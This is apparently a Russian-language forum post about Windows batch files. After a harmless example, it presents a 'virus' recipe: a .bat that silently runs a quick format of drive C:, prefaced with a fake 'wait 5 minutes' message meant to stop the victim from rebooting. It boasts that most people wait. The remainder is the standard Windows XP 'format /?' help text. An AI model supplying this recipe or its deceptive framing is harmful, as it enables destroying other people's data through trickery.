Создаем текстовый файл и прописываем в нем:
time
Переименовываем например в "1.bat" и запукаем - теперь можете поменять время вручную)
Как сделать вирус? Элементарно-прописываем:
format c: /q /s
и при запуске будет начато форматирование без вопроса о том хочешь\нехочешь - запустил - значит надо :))
Ну пользователь не дурак конечно - сразу пенрегрузить комп может - для отвлекания внимания прописываем в начале:
@Echo off
echo подождите 5 минут

В 90% случаев люди ждут - а много ли форматированию надо? =)

А все команды можно глянуть через:
пуск - выполнить - cmd
и набрать там HELP
Более подробную информацию и ключи можно посмотреть набрав команду с ключем /?
например:
C:\Documents and Settings\Администратор>format /?
Форматирование диска для работы с Windows XP.

FORMAT том: [/FS:система] [/V:метка] [/Q] [/A:размер] [/C] [/X]
FORMAT том: [/V:метка] [/Q] [/F:размер]
FORMAT тома: [/V:метка] [/Q] [/T:дорожки /N:секторы]
FORMAT тома: [/V:метка] [/Q]
FORMAT том [/Q]

том Указывает букву диска (с последующим двоеточием),
точку подключения или имя тома.
/FS:filesystem Указывает тип файловой системы (FAT, FAT32 или NTFS).
/V:метка Метка тома.
/Q Быстрое форматирование.
/C Только для NTFS: Установка режима сжатия по умолчанию для
всех файлов, создаваемых на новом томе.
/X Инициирует отключение тома, в качестве первого действия, есл
это необходимо. Все открытые дескрипторы тома будут неверны.
/A:размер Заменяет размер кластера по умолчанию. В общих случаях
рекомендуется использовать размеры кластера по умолчанию.
NTFS поддерживает размеры 512, 1024, 2048, 4096, 8192, 16КБ,
32КБ, 64K.
FAT поддерживает размеры 512, 1024, 2048, 4096, 8192, 16КБ,
32КБ, 64КБ, (128КБ, 256КБ для размера сектора > 512 Байт).
FAT32 поддерживает размеры 512, 1024, 2048, 4096, 8192, 16КБ
32КБ, 64КБ, (128КБ, 256КБ для размера сектора > 512 Байт).

Файловые системы FAT и FAT32 налагают следующие ограничения
на число кластеров тома:

FAT: число кластеров <= 65526
FAT32: 65526 < число кластеров < 4177918

Выполнение команды Format будет немедленно прервано, если
будет обнаружено нарушение указанных выше ограничений,
используя указанный размер кластеров.

Сжатие томов NTFS не поддерживается для размеров кластеров
более 4096 Байт.

/F:размер Указывает размер форматируемых гибких дисков (1,44)
/T:дорожки Число дорожек на каждой стороне диска.
/N:секторы Число секторов на каждой дорожке.